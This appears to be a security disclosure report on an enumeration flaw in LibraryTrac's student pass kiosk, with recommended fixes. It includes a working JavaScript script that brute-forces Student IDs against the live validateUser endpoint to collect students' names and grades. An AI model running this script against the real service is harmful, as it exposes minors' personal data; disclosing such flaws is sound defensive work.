LibraryTrac Data Vulnerability

This report brings light to a glaring issue in LibraryTrac, and more specifically, their “pass” or “kiosk” system. If left unnoticed by the developers behind LibraryTrac, schools, and their students could face their data being stolen.

Introduction/Background

LibraryTrac is a program/website used primarily by librarians to manage school libraries, but also for use by nurses, guidance, and attendance offices, according to their website.

As for the case that this vulnerability was discovered, the website was being used by a Frederick County Public Schools middle school, to manage passes for access to its library, during different times. The pass system, after selecting a time, prompts for a Student ID, which is intended to be used as a private, and secure identifier for each student.

However, the website does not use the Student ID as a password, it instead uses it exclusively as an identifier for the student, which they will enter to sign up. However, with the HTTP request which is made upon entering this field, it returns 4 major pieces of information, being, whether or not the id was valid, the first name (which, also includes middle name), last name, and grade level. The glaring issue with this is that you can now enter an id, and see if it's valid, rather than having to already know who it belongs to.

Impact

This vulnerability can be used on any one school, as defined in the software, at a time. So, you can use this to find information and data on what is typically an entire school's worth of students. Any parent, or even a child, with a basic understanding of HTTP requests and Javascript, can write a simple script that can retrieve an entire list of enrolled students in a school, their Student IDs, as well as full names. Such an obvious exploit can be abused from the website itself, as well as by interacting with the API elsewhere, which nearly makes all of this data public information. Such an exploit also raises the question of if this may violate COPPA laws, as many impacted students are under the age of 13.

Technical Information

This vulnerability can be easily abused by incrementally changing, or simply choosing random Student IDs, and checking if they’re valid, if it is, the website will list the full name of the student, also verifying that student’s ID. The API request that is involved with this functionality also returns the grade level of the student, however, it is not listed on the page's GUI. The API lacks a rate limit, which makes it incredibly easy to abuse.

The following is a proof of concept that is capable of gathering an entire list of enrolled students of a school, as well as their student IDs, full name, and grade level. When a valid ID is found, it will print the student ID and the returned JSON from the request, in just 31 lines of javascript. Please note, that student IDs may vary by school, so this example assumes the Student IDs begin from 0, and go until 100,000, which is not always true.

```
const delay = ms => new Promise(res => setTimeout(res, ms));
var uid = 0
var publickey = "" //insert public key

while (uid < 100000) {
const formData = new URLSearchParams();
formData.append("public_key", publickey);
formData.append("ajax", "true");
formData.append("data[barcode_check]", uid);

fetch("https://www.librarytrac.com/kiosk/pass/validateUser/", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
  },
  body: formData
})
.then(response => {
  if (!response.ok) {
    throw new Error(`HTTP error! status: ${response.status}`);
  }
  return response.json();
})
.then(json => {
  console.log("User ID " + uid + ": ");
    console.log(json);
})
.catch(error => {});
uid++;
await delay(100)
}
```

Recommendations and Suggestions

There are many ways to solve this oversight/vulnerability in the software. Some ways to solve the issue may be to include a rate limit of, perhaps, 5 seconds. A 5-second rate limit would not solve the issue, however, it would significantly reduce the ability for someone to abuse it. For example, the sample code, utilizing the vulnerability, uses only a 100-millisecond delay. At 100ms, it would take just under 3 hours to go through 100,000 possible Student IDs, whereas a

5-second rate limit would increase that timespan to at least 138 hours, which in that span, a possible threat could be identified and blocked. A more reliable way of solving the issue, however, is to modify the way a student is identified. Instead of matching a Student ID, it would be much better practice to use an identifier of the student, such as the last name of a student, or their first initial, and last name, and then a Student ID would simply verify the identity of the student, where the Student ID would act like a password.

Conclusion

Overall, this vulnerability in the software of LibraryTrac provides a huge security risk for the data of students, can be easily exploited, and can be taken further with basic programming knowledge. The vulnerability can be prevented or patched through many different solutions.